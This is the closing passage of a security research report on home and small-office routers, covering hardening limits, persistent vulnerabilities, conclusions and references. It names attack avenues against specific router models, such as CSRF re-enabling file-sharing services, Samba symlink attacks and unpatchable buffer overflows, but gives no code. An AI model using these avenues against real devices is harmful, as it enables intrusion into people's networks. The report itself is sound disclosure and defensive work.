this still poses a severe security risk to any administrator who wants to utilize the SOHO router for file storage or sharing with an unprivileged user base.

Furthermore, the difficulty for a local adversary to compromise a legitimate Samba user's credentials is low. All of the routers assessed employed weak authentication protocols that would allow a local attacker to successfully perform various active attacks, such as server spoofing, online password cracking, password sniffing, or Pass the Hash attacks. Because of this, we don't consider any of the routers assessed to be generally capable of being hardened to where it would be adequate to prevent compromise – while still remaining functional.

Less functional – or more restrictive – hardening steps include eliminating write access entirely. This would stifle a number of the attacks presented above that require the creation of symbolic links, but reduces the usability of the service greatly. Furthermore, attacks yet undiscovered may still be possible via other avenues that target the various other vulnerabilities discussed above. It is also worth noting the possibility for an attacker to attach, or remove and reattach, a USB storage device of his own that already has the necessary symbolic links present. Since this attack requires physical access to a device, it is most likely overkill in any scenario, but demonstrates that closing off yet another door does not fully stop these attacks.

Lastly, even disabling the NAS services entirely, or removing storage altogether is not fully effective at preventing these attacks. Due to a host of other vulnerabilities present in these routers, such as cross-site request forgery (CSRF), cross-site scripting (XSS), backdoors, and other web attacks, we found it possible for an adversary to re-enable these services, and continue to exploit them as desired. Even when storage was removed entirely, we found that a CSRF attack could be used to enable a NAS service (e.g., FTP, SMB) on 80% of routers, even if the administrative panel prevented such a command from being issued. Vulnerabilities in these services may still permit an attacker to compromise these routers without attached storage, or by selecting the device's root file system as the media share, as was the case with the TP-LINK TL-1043ND.

Persistence of Vulnerabilities

The attacks described immediately above where we describe how an adversary can (re)enable services as part of a multi-stage attack demonstrates a persistence of these vulnerabilities in the devices that cannot be avoided. The mere fact that these extraneous services exist poses a threat to the router, even in their most secure state. Administrators have no way of removing them entirely, and they will remain a vulnerability indefinitely.

Additionally, many of these vulnerable services cannot be disabled by the administrator. For example, in the Netgear WNDR4700 and WNR3500, Telnet cannot be disabled, the D-Link DIR-865L does not permit a user to disable SMB once a USB storage device has been inserted, and the ASUS RT-AC66U and TRENDnet TEW-812DRU ACSD service cannot be disabled. The vulnerability presented by the ACSD service being susceptible to buffer overflow attacks will persist with no possible action to be taken by the administrator.

It is also unfortunate that all of the routers we've assessed have very cumbersome, and unlikely to be enacted update capabilities. By default, none of the routers update automatically, 90% percent of the routers don't provide a notice to administrators when updates are available, and all of the routers require an administrator to manually log in and specifically embark on a multi-step firmware flashing process that is not always intuitive or understandable by the

average consumer, and could result in bricking of the device if done improperly. For this reason, it is likely that these vulnerabilities will persist even after the manufacturers have provided the necessary fixes for these devices.

Lastly, once a SOHO router has been compromised, the device should be decommissioned. The minimal actions that can be taken by the consumer to attempt to reset the devices firmware are insufficient to guarantee a firmware upgrade has been successful. An adversary in full control of the router should be capable of preventing or emulating a successful reset or upgrade.

Conclusions and Future Work

In this report we've demonstrated how the multitude of extraneous services accompanying today's most popular SOHO routers greatly increases the attack surfaces for these devices. We've shown how these devices can be compromised, and introduced 55 new, previously undisclosed vulnerabilities, including proof-of-concept attack scripts and code. In all, every router we reviewed were fully compromised through new attacks. Regardless of the benefit these services add, we've shown that the risk introduced by them is extreme.

Due to the nature of these vulnerabilities, we've shown that there is little an end-consumer can do to protect themselves against these attacks. While there are some mitigatory steps that can be taken, many of them would not withstand a targeted attack.

Router manufactures should adopt a more security-focused design, and uphold security principles and best practices when developing these devices, such as the principle of least privilege, and being secure by default. Additionally, new techniques for updating router firmware and patching security vulnerabilities should be employed.

Our research was designed to find avenues through these extraneous services by which we could compromise the routers, but was not an exhaustive search for vulnerabilities. Dozens of default services were not examined during this research, and a handful of services where buffer overflows were found were not fully investigated. Future work could very well indicate that the threats to these routers extend beyond what we've found.

Additionally, third-party open source router firmware was not tested in this study, and it would be interesting to see whether or not these vulnerabilities are present in those firmware as well.

Finally, we intend to revisit this study in the coming months, once router manufactures have had a chance to implement mitigations, and again once the next generation of routers is on the market, to see what, if any, changes have been made to the end of reducing these attack surfaces, rather than expanding them.

References

[1] A. Stubblefield, J. Ioannidis and A. D. Rubin, "Using the Fluher, Mantin, and Shamir Attack to Break WEP," in *NDSS*, 2002.

[2] A. Bittau, M. Handley and J. Lackey, "The Final Nail in WEP's Coffin," in *Proceedings of the 2006 IEEE Symposium on Security and Privacy*, 2006.

[3] E. Tews and M. Beck, "Practical attacks against WEP and WPA," in *Proceedings of the second ACM conference on Wireless network security*, 2009.

[4] S. Viehbock, "Brute Forcing Wi-Fi protected setup," 26 December 2011. [Online]. Available: http://www.coyotus.com/repo/pdf/hacking/viehboeck_wps.pdf. [Accessed 25 July 2013].

[5] US-CERT, "Small Office/Home Office Router Security," US-CERT, 2001.

[6] C. Mulliner and C. Miller, "Fuzzing the Phone in your Phone," in *Black Hat USA*, 2009.

[7] C. Miller, "Exploring the NFC Attack Surface," in *Black Hat USA*, 2012.

[8] M. Ryan, "Bluetooth Smart: The Good, The Bad, The Ugly, and the Fix!," in *Black Hat USA*, 2013.

[9] M. Ryan, "How Smart is Bluetooth Smart?," in *SchmooCon 9*, 2013.

[10] J. Forristal, "Android: One root to own them all," in *Black Hat USA*, 2013.

[11] D. Dean, E. W. Felten, D. S. Wallach, D. Balfanz and P. Denning, "Java security: Web browsers and beyond," in *Internet Besieged: Countering Cyberspace Scofflaws*, 1997.

[12] S. Bono, D. Caselden, G. Landau and C. Miller, "Reducing the Attack Surface in Massively Multiplayer Online-Role Playing Games," *IEEE Security & Privacy,* vol. 7, no. 3, pp. 13-19, 2009.

[13] E. Karamanos, "Investigation of home router security," KTH Information and Communication Technology, 2010.

[14] J. Holcomb, S. Bono, K. Liu, V. Faires, A. J. Khalil, S. Small and J. Thompson, "Hacking and Rooting SOHO Home Routers," Indpendent Security Evaluators, 2013. [Online]. Available: www.securityevaluators.com/content/case-studies/routers/soho_router_hacks.jsp. [Accessed 25 07 2013].

[15] S. Stamm, Z. Ramzan and M. Jakobsson, "Drive-by Pharming," *Information and Communications Security, Lecture Notes in Computer Science,* vol. 4861, pp. 495-506, 2007.

[16] M. Steven and S. Stamm, "Practice & prevention of home-router mid-stream injection attacks," in *eCrime Researchers Summit*, 2008.

[17] P. Celeda, R. Krejci, J. Vykopal and M. Drasar, "Embedded Malware-An Analysis of the Chuck Norris Botnet," in *Computer Network Defense (EC2ND), 2010 European Conference on*, 2010.

[18] T. Baume, "Netcomm NB5 Botnet - PSYB0T 2.5L," 11 January 2009. [Online]. Available: users.adam.com.au/bogaurd/PSYB0T.pdf. [Accessed 25 July 2013].

[19] Z. Cutlip, "SQL Injection to MIPS Overflows: Rooting SOHO Routers," in *Black Hat USA*, 2012.

[20] DefenseCode, "Broadcom UPnP Remote Preauth Root Code Excecution Vulnerability," 30 January 2013. [Online]. Available: http://blog.defensecode.com/2013/01/broadcom-upnp-remote-preauth-root-code.html. [Accessed 25 July 2013].

[21] devnull s3cur1ty de, "OS-Command Injection via UPnP Interface in multiple D-Link devices," SecurityFocus, 6 July 2013. [Online]. Available: http://www.securityfocus.com/archive/1/527113/30/0/threaded. [Accessed 25 July 2013].

[22] K. Lovett, "Zoom X4/X5 ADSL Modem and Routers - Unauthenticated Remote Root Command Execution," SecurityFocus, 9 July 2013. [Online]. Available: http://www.securityfocus.com/archive/1/527154/30/30/threaded. [Accessed 25 July 2013].

[23] H. Moore, "Security Flaws in Universal Plug and Play: Uplug, Don't Play," Rapid7, 29 January 2013. [Online]. Available: https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play. [Accessed 25 July 2013].

[24] K. Lovett, "Full Disclosure ASUS Wireless Routers Ten Models - Multiple Vulnerabilities on AiCloud enabled units," SecurityFocus, 14 July 2013. [Online]. Available: http://www.securityfocus.com/archive/1/527275/30/0/threaded. [Accessed 25 July 2013].

[25] OpenWrt, "Unlocking the Netgear Telnet Console," OpenWrt, [Online]. Available: http://wiki.openwrt.org/toh/netgear/telnet.console. [Accessed 25 July 2013].

[26] M. Sajdak, "TP-Link http/tftp backdoor," Sekurak, 12 March 2013. [Online]. Available: http://sekurak.pl/tp-link-httptftp-backdoor/. [Accessed 25 July 2013].

[27] devttyS0, Twitter, 3 November 2012. [Online]. Available: https://twitter.com/devttyS0/status/264939105962569728. [Accessed 25 July 2013].

[28] J. Franks, "RFC 2069-An Extension to HTTP: Digest Authentication," IETF, 1997. [Online]. Available: http://tools. ietf. org/html/rfc2069. [Accessed 25 July 2013].

[29] "Nmap Port Scan Tool," [Online]. Available: nmap.org.

[30] H. Shacham, "The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86)," in *Proceedings of the 14th ACM conference on Computer and communications security*, 2007.

[31] E. Buchanan, R. Roemer, H. Shacham and S. Savage, "When good instructions go bad: generalizing return-oriented programming to RISC," in *Proceedings of the 15th ACM conference on Computer and communications security*, 2008.

[32] Samba, "Claimed Zero Day exploit in Samba," Samba, 5 February 2010. [Online]. Available: http://www.samba.org/samba/news/symlink_attack.html. [Accessed 25 July 2013].

[33] K. Andersson and P. Szewczyk, "Insecurity by Obscurity continues: are ADSL router manuals putting end-users at rick," in *Australian Information Security Management Conference*, 2011.